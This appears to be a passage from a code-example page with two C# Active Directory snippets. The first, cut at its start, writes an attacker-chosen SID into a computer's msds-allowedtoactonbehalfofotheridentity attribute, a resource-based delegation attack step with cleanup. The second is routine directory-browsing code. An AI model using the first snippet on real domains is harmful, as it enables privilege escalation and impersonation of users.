                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();

                String sec_descriptor = "";
                if (!cleanup)
                {
                    sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")";
                    System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                    byte[] descriptor_buffer = new byte[sd.BinaryLength];
                    sd.GetBinaryForm(descriptor_buffer, 0);
                    // Add AllowedToAct Security Descriptor
                    entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                }
                else
                {
                    // Cleanup attribute
                    Console.WriteLine("[+] Clearing attribute...");
                    entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Clear();
                }

                try
                {
                    // Commit changes to the security descriptor
                    entryToUpdate.CommitChanges();
                    Console.WriteLine("[+] Attribute changed successfully");
                    Console.WriteLine("[+] Done!");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] Could not update attribute!\nExiting...");
                    return;
                }
            }

            else
            {
                Console.WriteLine("[!] Computer Account not found!\nExiting...");
            }
            return;
        }
Example #17
0
        public List <DirectoryEntry> BrowseDirectory(String directoryPath)
        {
            List <DirectoryEntry> directoryEntries = new List <DirectoryEntry> ();


            System.DirectoryServices.DirectoryEntry directory = null;

            System.DirectoryServices.DirectorySearcher directorySearcher;

            String pathSuffix = string.Empty;


            try {
                // Get Domain Root Path Information

                if (directoryPath.Split('/')[0] == "{UserRoot}")
                {
                    directorySearcher = new System.DirectoryServices.DirectorySearcher();

                    directorySearcher.SearchRoot = new System.DirectoryServices.DirectoryEntry(DomainRootPath);

                    directorySearcher.Filter = "(&(objectClass=user) (objectSid=" + credentials.UserAccountId + "))";

                    System.DirectoryServices.SearchResult directorySearchResult = directorySearcher.FindOne();

                    if (directorySearchResult != null)
                    {
                        // incoming path would be like OU/OU/OU or {UserRoot}/OU/OU, Result Path will be LDAP:\\SERVER\CN=User Account, OU, OU, OU

                        pathSuffix = directorySearchResult.Path.Substring(directorySearchResult.Path.IndexOf(@"/CN="));

                        pathSuffix = pathSuffix.Substring(pathSuffix.IndexOf(',') + 1);

                        System.Diagnostics.Debug.WriteLine(pathSuffix);
                    }
                }

                else
                {
                    pathSuffix = DomainRootPath;

                    pathSuffix = pathSuffix.Substring(pathSuffix.IndexOf(@"/DC=") + 1);

                    System.Diagnostics.Debug.WriteLine(pathSuffix);
                }


                foreach (String pathComponent in directoryPath.Split('/'))
                {
                    if (pathComponent != "{UserRoot}")
                    {
                        pathSuffix = "OU=" + pathComponent + "," + pathSuffix;

                        System.Diagnostics.Debug.WriteLine(pathComponent);
                    }
                }


                directory = new System.DirectoryServices.DirectoryEntry(Protocol + pathSuffix);

                foreach (System.DirectoryServices.DirectoryEntry currentDirectoryEntry in directory.Children)
                {
                    System.Diagnostics.Debug.WriteLine(currentDirectoryEntry.Name);


                    try {
                        DirectoryEntry directoryEntry = new DirectoryEntry();

                        switch (currentDirectoryEntry.SchemaClassName.ToLowerInvariant())
                        {
                        case "user":

                            directoryEntry.ObjectType = "User";

                            directoryEntry.ObjectSid = ObjectSidToString((byte[])currentDirectoryEntry.Properties["objectSid"].Value);

                            directoryEntry.Name = currentDirectoryEntry.Properties["Name"].Value.ToString();


                            if (!String.IsNullOrEmpty((String)currentDirectoryEntry.Properties ["DisplayName"].Value))
                            {
                                directoryEntry.DisplayName = currentDirectoryEntry.Properties["DisplayName"].Value.ToString();
                            }

                            else
                            {
                                directoryEntry.DisplayName = currentDirectoryEntry.Properties["Name"].Value.ToString();
                            }


                            directoryEntry.DistinguishedName = currentDirectoryEntry.Properties["distinguishedName"].Value.ToString();

                            directoryEntry.Path = currentDirectoryEntry.Properties["distinguishedName"].Value.ToString();

                            directoryEntries.Add(directoryEntry);

                            break;

                        case "group":

                            directoryEntry.ObjectType = "Group";

                            directoryEntry.ObjectSid = ObjectSidToString((byte[])currentDirectoryEntry.Properties["objectSid"].Value);

                            directoryEntry.Name = currentDirectoryEntry.Properties["Name"].Value.ToString();

                            directoryEntry.DisplayName = currentDirectoryEntry.Properties["Name"].Value.ToString();

                            directoryEntry.DistinguishedName = currentDirectoryEntry.Properties["distinguishedName"].Value.ToString();

                            directoryEntries.Add(directoryEntry);

                            break;

                        case "organizationalunit":

                            directoryEntry.ObjectType = "Organizational Unit";

                            directoryEntry.ObjectSid = ObjectSidToString((byte[])currentDirectoryEntry.Properties["objectSid"].Value);

                            directoryEntry.Name = currentDirectoryEntry.Properties["Name"].Value.ToString();

                            directoryEntry.DisplayName = currentDirectoryEntry.Properties["Name"].Value.ToString();

                            directoryEntry.DistinguishedName = currentDirectoryEntry.Properties["distinguishedName"].Value.ToString();

                            directoryEntries.Add(directoryEntry);

                            break;

                        default:

                            System.Diagnostics.Debug.WriteLine(currentDirectoryEntry.SchemaClassName);

                            break;
                        }
                    } // END TRY ENUMERATE DIRECTORY ENTRY PROPERTIES

                    catch (Exception propertyException) {
                        // DO NOTHING

                        System.Diagnostics.Debug.WriteLine(propertyException.Message);
                    }
                }
            }

            catch (Exception browseException) {
                System.Diagnostics.Debug.WriteLine(browseException.Message);

                // DO NOTHING
            }


            return(directoryEntries);
        }